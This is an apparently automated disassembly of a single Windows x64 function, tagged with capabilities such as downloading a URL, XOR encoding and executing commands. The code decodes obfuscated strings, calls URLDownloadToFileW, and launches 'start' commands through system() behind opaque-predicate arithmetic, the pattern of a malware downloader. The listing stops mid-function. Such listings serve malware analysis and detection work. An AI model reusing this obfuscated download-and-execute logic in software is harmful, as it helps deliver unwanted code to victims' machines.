Function at 0x1400033c0
Capabilities:
Download url
Encode data using xor
Execute command
Query environment variable
Receive data

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r12
push rbp
push r14
push r15
lea rbp, [rsp - 0x1a0]
sub rsp, 0x2a0
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x190], rax
xor r12d, r12d
lea rcx, [rbp + 0x140]
call fcn.140002790
nop
lea rdx, [rbp - 0x80]
call fcn.140004db0
lea r8, [rax + 2]
movsx edx, byte [rax]
xor word [r8], dx
xor word [rax + 4], dx
xor word [rax + 6], dx
xor word [rax + 8], dx
xor word [rax + 0xa], dx
xor word [rax + 0xc], dx
xor word [rax + 0xe], dx
xor word [rax + 0x10], dx
xor word [rax + 0x12], dx
xor word [rax + 0x14], dx
xor word [rax + 0x16], dx
xor word [rax + 0x18], dx
xor word [rax + 0x1a], dx
xor word [rax + 0x1c], dx
xor word [rax + 0x1e], dx
xor word [rax + 0x20], dx
xor word [rax + 0x22], dx
xor word [rax + 0x24], dx
xor word [rax + 0x26], dx
xor word [rax + 0x28], dx
xor word [rax + 0x2a], dx
xor word [rax + 0x2c], dx
xor word [rax + 0x2e], dx
xor word [rax + 0x30], dx
xor word [rax + 0x32], dx
mov word [r8 + 0x32], r12w
lea rdx, [rbp + 0x140]
lea rcx, [rbp + 0x100]
call fcn.140005b60
nop
lea rdx, [rbp + 0x60]
call fcn.140004f70
movzx edx, byte [rax]
xor byte [rax + 1], dl
xor byte [rax + 2], dl
xor byte [rax + 3], dl
xor byte [rax + 4], dl
xor byte [rax + 5], dl
xor byte [rax + 6], dl
xor byte [rax + 7], dl
xor byte [rax + 8], dl
xor byte [rax + 9], dl
xor byte [rax + 0xa], dl
xor byte [rax + 0xb], dl
xor byte [rax + 0xc], dl
mov byte [rax + 0xd], r12b
lea rcx, [rax + 1]
call qword [sym.imp.api_ms_win_crt_environment_l1_1_0.dll_getenv]
mov rdi, rax
lea rdx, [rsp + 0x30]
call fcn.1400050e0
movzx edx, byte [rax]
xor byte [rax + 1], dl
xor byte [rax + 2], dl
xor byte [rax + 3], dl
xor byte [rax + 4], dl
xor byte [rax + 5], dl
xor byte [rax + 6], dl
xor byte [rax + 7], dl
mov byte [rax + 8], r12b
xorps xmm0, xmm0
movups xmmword [rbp + 0x120], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x130], xmm1
mov rbx, 0xffffffffffffffff
mov r8, rbx
nop dword [rax]
inc r8
cmp byte [rax + r8 + 1], 0
jne 0x140003520
lea rdx, [rax + 1]
lea rcx, [rbp + 0x120]
call fcn.1400062d0
nop
lea r8, [rbp + 0x120]
mov rdx, rdi
lea rcx, [rbp + 0xe0]
call fcn.140005ce0
nop
lea rdx, [rsp + 0x40]
call fcn.140005250
movzx edx, byte [rax]
xor byte [rax + 1], dl
xor byte [rax + 2], dl
xor byte [rax + 3], dl
xor byte [rax + 4], dl
xor byte [rax + 5], dl
xor byte [rax + 6], dl
xor byte [rax + 7], dl
xor byte [rax + 8], dl
xor byte [rax + 9], dl
xor byte [rax + 0xa], dl
xor byte [rax + 0xb], dl
xor byte [rax + 0xc], dl
xor byte [rax + 0xd], dl
xor byte [rax + 0xe], dl
xor byte [rax + 0xf], dl
xor byte [rax + 0x10], dl
xor byte [rax + 0x11], dl
xor byte [rax + 0x12], dl
xor byte [rax + 0x13], dl
xor byte [rax + 0x14], dl
xor byte [rax + 0x15], dl
xor byte [rax + 0x16], dl
xor byte [rax + 0x17], dl
xor byte [rax + 0x18], dl
xor byte [rax + 0x19], dl
mov byte [rax + 0x1a], 0
xorps xmm0, xmm0
movups xmmword [rbp + 0xc0], xmm0
mov qword [rbp + 0xd0], r12
mov qword [rbp + 0xd8], r12
mov r8, rbx
nop word [rax + rax]
inc r8
cmp byte [rax + r8 + 1], 0
jne 0x1400035d0
lea rdx, [rax + 1]
lea rcx, [rbp + 0xc0]
call fcn.1400062d0
nop
xorps xmm0, xmm0
movups xmmword [rbp - 0x80], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x70], xmm1
nop dword [rax + rax]
inc rbx
cmp byte [rdi + rbx], 0
jne 0x140003600
mov r8, rbx
mov rdx, rdi
lea rcx, [rbp - 0x80]
call fcn.1400062d0
nop
lea rdx, [rbp + 0xc0]
cmp qword [rbp + 0xd8], 0xf
cmova rdx, qword [rbp + 0xc0]
mov r8, qword [rbp + 0xd0]
lea rcx, [rbp - 0x80]
call fcn.140005990
xorps xmm0, xmm0
movups xmmword [rbp + 0x80], xmm0
mov qword [rbp + 0x90], r12
mov qword [rbp + 0x98], r12
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x80], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x90], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rdx, qword [rbp - 0x68]
cmp rdx, 0xf
jbe 0x1400036ba
inc rdx
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400036b5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400036b5
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140015474
movdqa xmm0, xmmword [0x140017aa0]
movdqu xmmword [rbp - 0x70], xmm0
mov byte [rbp - 0x80], 0
lea r9, [rbp + 0x80]
cmp qword [rbp + 0x98], 0xf
cmova r9, qword [rbp + 0x80]
call fcn.140002740
movsx ebx, al
call fcn.140002730
movsx ecx, al
imul ebx, ecx
call fcn.140002770
movsx esi, al
lea ecx, [rbx + rsi]
movsx eax, byte [0x14001b099]
lea ecx, [rcx + rbx*2]
add eax, ecx
movsx r8d, byte [0x14001b098]
xor edx, edx
div r8d
movsx edx, byte [0x14001b09b]
cmp eax, edx
je 0x140004b5a
lea rdx, [rbp + 0x160]
mov rcx, r9
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll__stat64i32]
test eax, eax
jne 0x14000374f
mov eax, 0x4000
test word [rbp + 0x166], ax
mov edx, 1
je 0x140003752
mov rdx, r12
movsx eax, byte [0x14001b09a]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x14001b09c]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
xorps xmm0, xmm0
cvtsi2sd xmm0, rdx
mulsd xmm1, xmm0
movsd qword [rsp + 0x30], xmm1
lea r14d, [rsi + rbx*8]
add r14d, ebx
movsx eax, byte [0x14001b099]
add eax, r14d
movsx ecx, byte [0x14001b098]
xor edx, edx
div ecx
movsx ecx, byte [0x14001b09b]
mov edi, 3
cmp eax, ecx
je 0x1400037ef
call fcn.140002750
movsx edx, al
movsx eax, byte [0x14001b93c]
imul edx, eax
shl edx, 2
call fcn.140002780
movsx ecx, al
sub edx, ecx
call fcn.140002760
movsx ecx, al
add edx, ecx
movsx ecx, byte [0x14001b09c]
add ecx, edx
je 0x1400037ef
mov r9d, edi
jmp 0x14000384d
movsx eax, byte [0x14001b099]
add eax, esi
add eax, ebx
movsx ecx, byte [0x14001b098]
xor edx, edx
div ecx
movsx ecx, byte [0x14001b09b]
cmp eax, ecx
je 0x140003848
lea ecx, [rbx + rsi]
movsx eax, byte [0x14001b099]
lea ecx, [rcx + rbx*4]
add eax, ecx
movsx ecx, byte [0x14001b098]
xor edx, edx
div ecx
movsx ecx, byte [0x14001b09b]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x30]
cvttsd2si r9d, xmm0
jmp 0x14000384d
mov r9d, dword [rsp + 0x30]
movsx eax, byte [0x14001b099]
add eax, esi
lea eax, [rax + rbx*4]
movsx ecx, byte [0x14001b098]
xor edx, edx
div ecx
movsx ecx, byte [0x14001b09b]
sub eax, ecx
imul eax, r9d
test eax, eax
je 0x140003a61
mov r14, qword [rbp + 0x90]
movabs rcx, 0x7fffffffffffffff
mov rax, rcx
sub rax, r14
cmp rax, 0xa
jb 0x140004d8a
lea r15, [rbp + 0x80]
cmp qword [rbp + 0x98], 0xf
cmova r15, qword [rbp + 0x80]
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x50], xmm1
lea rsi, [r14 + 0xa]
mov ebx, 0xf
lea rdi, [rsp + 0x40]
cmp rsi, rbx
jbe 0x140003950
mov rbx, rsi
or rbx, 0xf
cmp rbx, rcx
jbe 0x140003911
mov rbx, rcx
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.140015430
test rax, rax
je 0x1400039fc
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x14000394b
mov eax, 0x16
cmp rbx, rax
cmovb rbx, rax
lea rcx, [rbx + 1]
test rcx, rcx
jne 0x14000392b
mov rdi, r12
jmp 0x14000394b
cmp rcx, 0x1000
jb 0x140003943
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140004d7e
jmp 0x1400038f2
call fcn.140015430
mov rdi, rax
mov qword [rsp + 0x40], rdi
mov qword [rsp + 0x50], rsi
mov qword [rsp + 0x58], rbx
movsd xmm0, qword [str.start_____]
movsd qword [rdi], xmm0
movzx ecx, word [0x140017628]
mov word [rdi + 8], cx
lea rcx, [rdi + 0xa]
mov r8, r14
mov rdx, r15
call sub.VCRUNTIME140.dll_memcpy
mov byte [rdi + rsi], 0
mov r8d, 1
lea rdx, [0x14001761c]
lea rcx, [rsp + 0x40]
call fcn.140005990
xorps xmm0, xmm0
movups xmmword [rbp + 0x60], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x70], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x60], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x70], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rdx, qword [rsp + 0x58]
cmp rdx, 0xf
jbe 0x140003a08
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003a03
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140003a03
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140015474
lea rcx, [rbp + 0x60]
cmp qword [rbp + 0x78], 0xf
cmova rcx, qword [rbp + 0x60]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rdx, qword [rbp + 0x78]
cmp rdx, 0xf
jbe 0x140004b5a
inc rdx
mov rcx, qword [rbp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400044d3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400044d3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
imul ecx, ebx, 7
movsx eax, byte [0x14001b099]
add ecx, esi
add eax, ecx
movsx ecx, byte [0x14001b098]
xor edx, edx
div ecx
movsx ecx, byte [0x14001b09b]
cmp eax, ecx
je 0x140004b5a
call fcn.140002750
movsx r10d, al
call fcn.140002780
movsx r11d, al
call fcn.140002760
movsx ebx, al
movsx edx, byte [0x14001b93c]
imul edx, r10d
add edx, edx
sub edx, r11d
add edx, ebx
movsx eax, byte [0x14001b09c]
add eax, edx
xorps xmm2, xmm2
cvtsi2sd xmm2, rax
movsx eax, byte [0x14001b09a]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x14001b09c]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x30], xmm1
movsx eax, byte [0x14001b099]
add eax, r14d
movsx ecx, byte [0x14001b098]
xor edx, edx
div ecx
movsx ecx, byte [0x14001b09b]
cmp eax, ecx
je 0x140003b3c
movsx edx, byte [0x14001b93c]
imul edx, r10d
shl edx, 2
sub edx, r11d
add edx, ebx
movsx ecx, byte [0x14001b09c]
add ecx, edx
je 0x140003b3c
mov r9d, edi
jmp 0x140003bd4
call fcn.140002740
movsx r9d, al
call fcn.140002730
movsx ecx, al
imul r9d, ecx
call fcn.140002770
movsx eax, al
add eax, r9d
movsx ecx, byte [0x14001b099]
add eax, ecx
movsx ecx, byte [0x14001b098]
xor edx, edx
div ecx
movsx ecx, byte [0x14001b09b]
cmp eax, ecx
je 0x140003bcf
call fcn.140002740
movsx edx, al
call fcn.140002730
movsx ecx, al
imul edx, ecx
lea r9d, [rdx + rdx*4]
call fcn.140002770
movsx eax, al
add eax, r9d
movsx ecx, byte [0x14001b099]
add eax, ecx
movsx ecx, byte [0x14001b098]
xor edx, edx
div ecx
movsx ecx, byte [0x14001b09b]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x30]
cvttsd2si r9d, xmm0
jmp 0x140003bd4
mov r9d, dword [rsp + 0x30]
call fcn.140002740
movsx edx, al
call fcn.140002730
movsx ecx, al
imul edx, ecx
call fcn.140002770
movsx ecx, al
lea eax, [rcx + rdx*8]
movsx ecx, byte [0x14001b099]
add eax, ecx
movsx ecx, byte [0x14001b098]
xor edx, edx
div ecx
movsx ecx, byte [0x14001b09b]
sub eax, ecx
imul eax, r9d
test eax, eax
je 0x140003f2a
movsx eax, byte [0x14001b09a]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x14001b09c]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, qword [0x1400179e8]
movsd qword [rsp + 0x30], xmm1
call fcn.140002740
movsx edx, al
call fcn.140002730
movsx ecx, al
imul edx, ecx
lea r9d, [rdx + rdx*8]
call fcn.140002770
movsx eax, al
add eax, r9d
movsx ecx, byte [0x14001b099]
add eax, ecx
movsx ecx, byte [0x14001b098]
xor edx, edx
div ecx
movsx ecx, byte [0x14001b09b]
cmp eax, ecx
je 0x140003cae
movsx edx, byte [0x14001b93c]
imul edx, r10d
shl edx, 2
sub edx, r11d
add edx, ebx
movsx ecx, byte [0x14001b09c]
add ecx, edx
jne 0x140003d08
call fcn.140002740
movsx r9d, al
call fcn.140002730
movsx ecx, al
imul r9d, ecx
call fcn.140002770
movsx eax, al
add eax, r9d
movsx ecx, byte [0x14001b099]
add eax, ecx
movsx ecx, byte [0x14001b098]
xor edx, edx
div ecx
movsx ecx, byte [0x14001b09b]
cmp eax, ecx
je 0x140003d08
movzx eax, byte [0x14001b099]
movzx eax, byte [0x14001b098]
movzx eax, byte [0x14001b09b]
movsd xmm0, qword [rsp + 0x30]
call fcn.140002740
movsx r10d, al
call fcn.140002730
movsx ecx, al
imul r10d, ecx
call fcn.140002770
movsx ecx, al
add r10d, ecx
movsx eax, byte [0x14001b099]
add eax, r10d
movsx ecx, byte [0x14001b098]
xor edx, edx
div ecx
movsx ecx, byte [0x14001b09b]
cmp eax, ecx
je 0x140004b5a
call fcn.140002740
movsx edx, al
call fcn.140002730
movsx ecx, al
imul edx, ecx
lea edx, [rdx + rdx*4]
call fcn.140002770
movsx ecx, al
lea eax, [rcx + rdx*2]
movsx ecx, byte [0x14001b099]
add eax, ecx
movsx ecx, byte [0x14001b098]
xor edx, edx
div ecx
movsx ecx, byte [0x14001b09b]
sub eax, ecx
xorps xmm2, xmm2
cvtsi2sd xmm2, rax
movsx eax, byte [0x14001b09a]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x14001b09c]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x30], xmm1
call fcn.140002740
movsx edx, al
call fcn.140002730
movsx ecx, al
imul edx, ecx
lea r9d, [rdx + rdx*8]
call fcn.140002770
movsx eax, al
add eax, r9d
movsx ecx, byte [0x14001b099]
add eax, ecx
movsx ecx, byte [0x14001b098]
xor edx, edx
div ecx
movsx ecx, byte [0x14001b09b]
cmp eax, ecx
je 0x140003e37
call fcn.140002750
movsx edx, al
movsx eax, byte [0x14001b93c]
imul edx, eax
shl edx, 2
call fcn.140002780
movsx ecx, al
sub edx, ecx
call fcn.140002760
movsx ecx, al
add edx, ecx
movsx ecx, byte [0x14001b09c]
add ecx, edx
jne 0x140003eae
movsx eax, byte [0x14001b099]
add eax, r10d
movsx ecx, byte [0x14001b098]
xor edx, edx
div ecx
movsx ecx, byte [0x14001b09b]
cmp eax, ecx
je 0x140003eaa
call fcn.140002740
movsx edx, al
call fcn.140002730
movsx ecx, al
imul edx, ecx
lea r9d, [rdx + rdx*4]
call fcn.140002770
movsx eax, al
add eax, r9d
movsx ecx, byte [0x14001b099]
add eax, ecx
movsx ecx, byte [0x14001b098]
xor edx, edx
div ecx
movsx ecx, byte [0x14001b09b]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x30]
cvttsd2si edi, xmm0
jmp 0x140003eae
mov edi, dword [rsp + 0x30]
call fcn.140002740
movsx edx, al
call fcn.140002730
movsx ecx, al
imul edx, ecx
lea edx, [rdx + rdx*2]
call fcn.140002770
movsx ecx, al
lea eax, [rcx + rdx*2]
movsx ecx, byte [0x14001b099]
add eax, ecx
movsx ecx, byte [0x14001b098]
xor edx, edx
div ecx
movsx ecx, byte [0x14001b09b]
sub eax, ecx
imul eax, edi
test eax, eax
je 0x140004b5a
movsx eax, byte [0x14001b09a]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x14001b09c]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, qword [0x1400179d0]
jmp 0x140004a85
lea rax, [rbp + 0xe0]
cmp qword [rbp + 0xf8], 0xf
cmova rax, qword [rbp + 0xe0]
mov qword [rbp + 0x60], rax
mov rax, qword [rbp + 0xf0]
mov qword [rbp + 0x68], rax
call fcn.140014ec4
movaps xmm0, xmmword [rbp + 0x60]
movdqa xmmword [rbp + 0x60], xmm0
lea r8, [rbp + 0x60]
mov edx, eax
lea rcx, [rbp + 0xa0]
call fcn.140001870
nop
mov qword [rbp + 0x60], r12
lea rax, [0x14001b088]
mov qword [rbp + 0x68], rax
lea rdx, [rbp + 0x60]
lea rcx, [rbp + 0xa0]
call fcn.140002440
cmp dword [rbp + 0x60], 0
jne 0x140004d90
mov rdx, qword [rbp + 0xb8]
cmp rdx, 7
jbe 0x140003fe3
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0xa0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003fde
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140003fde
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140015474
movdqa xmm0, xmmword [0x140017a90]
movdqu xmmword [rbp + 0xb0], xmm0
mov word [rbp + 0xa0], r12w
lea rdx, [rbp - 0x40]
call fcn.1400053e0
mov r8, rax
lea rdx, [rax + 4]
mov r9d, 4
movsx ecx, byte [r8]
xor word [rdx - 2], cx
movsx ecx, byte [r8]
xor word [rdx], cx
movsx ecx, byte [r8]
xor word [rdx + 2], cx
movsx eax, byte [r8]
xor word [rdx + 4], ax
movsx eax, byte [r8]
xor word [rdx + 6], ax
movsx eax, byte [r8]
xor word [rdx + 8], ax
movsx eax, byte [r8]
xor word [rdx + 0xa], ax
movsx eax, byte [r8]
xor word [rdx + 0xc], ax
movsx eax, byte [r8]
xor word [rdx + 0xe], ax
movsx eax, byte [r8]
xor word [rdx + 0x10], ax
movsx eax, byte [r8]
xor word [rdx + 0x12], ax
movsx eax, byte [r8]
xor word [rdx + 0x14], ax
movsx eax, byte [r8]
xor word [rdx + 0x16], ax
movsx eax, byte [r8]
xor word [rdx + 0x18], ax
movsx eax, byte [r8]
xor word [rdx + 0x1a], ax
movsx eax, byte [r8]
xor word [rdx + 0x1c], ax
movsx eax, byte [r8]
xor word [rdx + 0x1e], ax
movsx eax, byte [r8]
xor word [rdx + 0x20], ax
movsx eax, byte [r8]
xor word [rdx + 0x22], ax
lea rdx, [rdx + 0x26]
sub r9, 1
jne 0x140004011
mov word [r8 + 0x9a], r12w
lea r11, [r8 + 2]
lea r8, [rbp + 0x100]
cmp qword [rbp + 0x118], 7
cmova r8, qword [rbp + 0x100]
call fcn.140002740
movsx edx, al
call fcn.140002730
movsx ecx, al
imul edx, ecx
lea r10d, [rdx + rdx*8]
call fcn.140002770
movsx eax, al
add eax, r10d
movsx ecx, byte [0x14001b099]
add eax, ecx
movsx ecx, byte [0x14001b098]
xor edx, edx
div ecx
movsx ecx, byte [0x14001b09b]
cmp eax, ecx
je 0x140004b5a
mov qword [rsp + 0x20], r12
mov rdx, r11
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileW]
mov rcx, r12
test eax, eax
sete cl
xorps xmm2, xmm2
cvtsi2sd xmm2, rcx
movsx eax, byte [0x14001b09a]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x14001b09c]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x30], xmm1
call fcn.140002740
movsx edx, al
call fcn.140002730
movsx ecx, al
imul edx, ecx
lea r9d, [rdx + rdx*8]
call fcn.140002770
movsx eax, al
add eax, r9d
movsx ecx, byte [0x14001b099]
add eax, ecx
movsx ecx, byte [0x14001b098]
xor edx, edx
div ecx
movsx ecx, byte [0x14001b09b]
cmp eax, ecx
je 0x1400041eb
call fcn.140002750
movsx edx, al
movsx eax, byte [0x14001b93c]
imul edx, eax
shl edx, 2
call fcn.140002780
movsx ecx, al
sub edx, ecx
call fcn.140002760
movsx ecx, al
add edx, ecx
movsx ecx, byte [0x14001b09c]
add ecx, edx
je 0x1400041eb
mov r9d, edi
jmp 0x140004283
call fcn.140002740
movsx r9d, al
call fcn.140002730
movsx ecx, al
imul r9d, ecx
call fcn.140002770
movsx eax, al
add eax, r9d
movsx ecx, byte [0x14001b099]
add eax, ecx
movsx ecx, byte [0x14001b098]
xor edx, edx
div ecx
movsx ecx, byte [0x14001b09b]
cmp eax, ecx
je 0x14000427e
call fcn.140002740
movsx edx, al
call fcn.140002730
movsx ecx, al
imul edx, ecx
lea r9d, [rdx + rdx*4]
call fcn.140002770
movsx eax, al
add eax, r9d
movsx ecx, byte [0x14001b099]
add eax, ecx
movsx ecx, byte [0x14001b098]
xor edx, edx
div ecx
movsx ecx, byte [0x14001b09b]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x30]
cvttsd2si r9d, xmm0
jmp 0x140004283
mov r9d, dword [rsp + 0x30]
call fcn.140002740
movsx edx, al
call fcn.140002730
movsx ecx, al
imul edx, ecx
lea edx, [rdx + rdx*4]
call fcn.140002770
movsx ecx, al
lea eax, [rcx + rdx*2]
movsx ecx, byte [0x14001b099]
add eax, ecx
movsx ecx, byte [0x14001b098]
xor edx, edx
div ecx
movsx ecx, byte [0x14001b09b]
sub eax, ecx
imul eax, r9d
test eax, eax
je 0x1400044dd
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov r14, qword [rbp + 0x90]
movabs rcx, 0x7fffffffffffffff
mov rax, rcx
sub rax, r14
cmp rax, 0xa
jb 0x140004d78
lea r15, [rbp + 0x80]
cmp qword [rbp + 0x98], 0xf
cmova r15, qword [rbp + 0x80]
xorps xmm0, xmm0
movups xmmword [rsp + 0x60], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x70], xmm1
lea rsi, [r14 + 0xa]
mov edi, 0xf
lea rbx, [rsp + 0x60]
cmp rsi, rdi
jbe 0x1400043af
mov rdi, rsi
or rdi, 0xf
cmp rdi, rcx
jbe 0x140004370
mov rdi, rcx
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.140015430
test rax, rax
je 0x140004467
lea rbx, [rax + 0x27]
and rbx, 0xffffffffffffffe0
mov qword [rbx - 8], rax
jmp 0x1400043aa
mov eax, 0x16
cmp rdi, rax
cmovb rdi, rax
lea rcx, [rdi + 1]
test rcx, rcx
jne 0x14000438a
mov rbx, r12
jmp 0x1400043aa
cmp rcx, 0x1000
jb 0x1400043a2
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140004d84
jmp 0x140004351
call fcn.140015430
mov rbx, rax
mov qword [rsp + 0x60], rbx
mov qword [rsp + 0x70], rsi
mov qword [rsp + 0x78], rdi
movsd xmm0, qword [str.start_____]
movsd qword [rbx], xmm0
movzx ecx, word [0x140017628]
mov word [rbx + 8], cx
lea rcx, [rbx + 0xa]
mov r8, r14
mov rdx, r15
call sub.VCRUNTIME140.dll_memcpy
mov byte [rbx + rsi], 0
mov r8d, 1
lea rdx, [0x14001761c]
lea rcx, [rsp + 0x60]
call fcn.140005990
xorps xmm0, xmm0
movups xmmword [rbp + 0xa0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xb0], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0xa0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0xb0], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rdx, qword [rsp + 0x78]
cmp rdx, 0xf
jbe 0x140004473
inc rdx
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000446e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000446e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140015474
lea rcx, [rbp + 0xa0]
cmp qword [rbp + 0xb8], 0xf
cmova rcx, qword [rbp + 0xa0]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rdx, qword [rbp + 0xb8]
cmp rdx, 0xf
jbe 0x140004b5a
inc rdx
mov rcx, qword [rbp + 0xa0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400044d3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400044d3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140015474
jmp 0x140004b5a
call fcn.140002740
movsx edx, al
call fcn.140002730
movsx ecx, al
imul edx, ecx
lea r9d, [rdx + rdx*2]
call fcn.140002770
movsx eax, al
add eax, r9d
movsx ecx, byte [0x14001b099]
add eax, ecx
movsx ecx, byte [0x14001b098]
xor edx, edx
div ecx
movsx ecx, byte [0x14001b09b]
cmp eax, ecx
je 0x140004b5a
call fcn.140002750
movsx edx, al
movsx eax, byte [0x14001b93c]
imul edx, eax
shl edx, 3
call fcn.140002780
movsx ecx, al
sub edx, ecx
call fcn.140002760
movsx ecx, al
add edx, ecx
movsx eax, byte [0x14001b09c]
add eax, edx
xorps xmm2, xmm2
cvtsi2sd xmm2, rax
movsx eax, byte [0x14001b09a]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x14001b09c]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x30], xmm1
call fcn.140002740
movsx edx, al
call fcn.140002730
movsx ecx, al
imul edx, ecx
lea r9d, [rdx + rdx*8]
call fcn.140002770
movsx eax, al
add eax, r9d
movsx ecx, byte [0x14001b099]
add eax, ecx
movsx ecx, byte [0x14001b098]
xor edx, edx
div ecx
movsx ecx, byte [0x14001b09b]
cmp eax, ecx
je 0x140004609
call fcn.140002750
movsx edx, al
movsx eax, byte [0x14001b93c]
imul edx, eax
shl edx, 2
call fcn.140002780
movsx ecx, al
sub edx, ecx
call fcn.140002760
movsx ecx, al
add edx, ecx
movsx ecx, byte [0x14001b09c]
add ecx, edx
je 0x140004609
mov r9d, edi
jmp 0x1400046a1
call fcn.140002740
movsx r9d, al
call fcn.140002730
movsx ecx, al
imul r9d, ecx
call fcn.140002770
movsx eax, al
add eax, r9d
movsx ecx, byte [0x14001b099]
add eax, ecx
movsx ecx, byte [0x14001b098]
xor edx, edx
div ecx
movsx ecx, byte [0x14001b09b]
cmp eax, ecx
je 0x14000469c
call fcn.140002740
movsx edx, al
call fcn.140002730
movsx ecx, al
imul edx, ecx
lea r9d, [rdx + rdx*4]
call fcn.140002770
movsx eax, al
add eax, r9d
movsx ecx, byte [0x14001b099]
add eax, ecx
movsx ecx, byte [0x14001b098]
xor edx, edx
div ecx
movsx ecx, byte [0x14001b09b]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x30]
cvttsd2si r9d, xmm0
jmp 0x1400046a1
mov r9d, dword [rsp + 0x30]
call fcn.140002740
movsx edx, al
call fcn.140002730
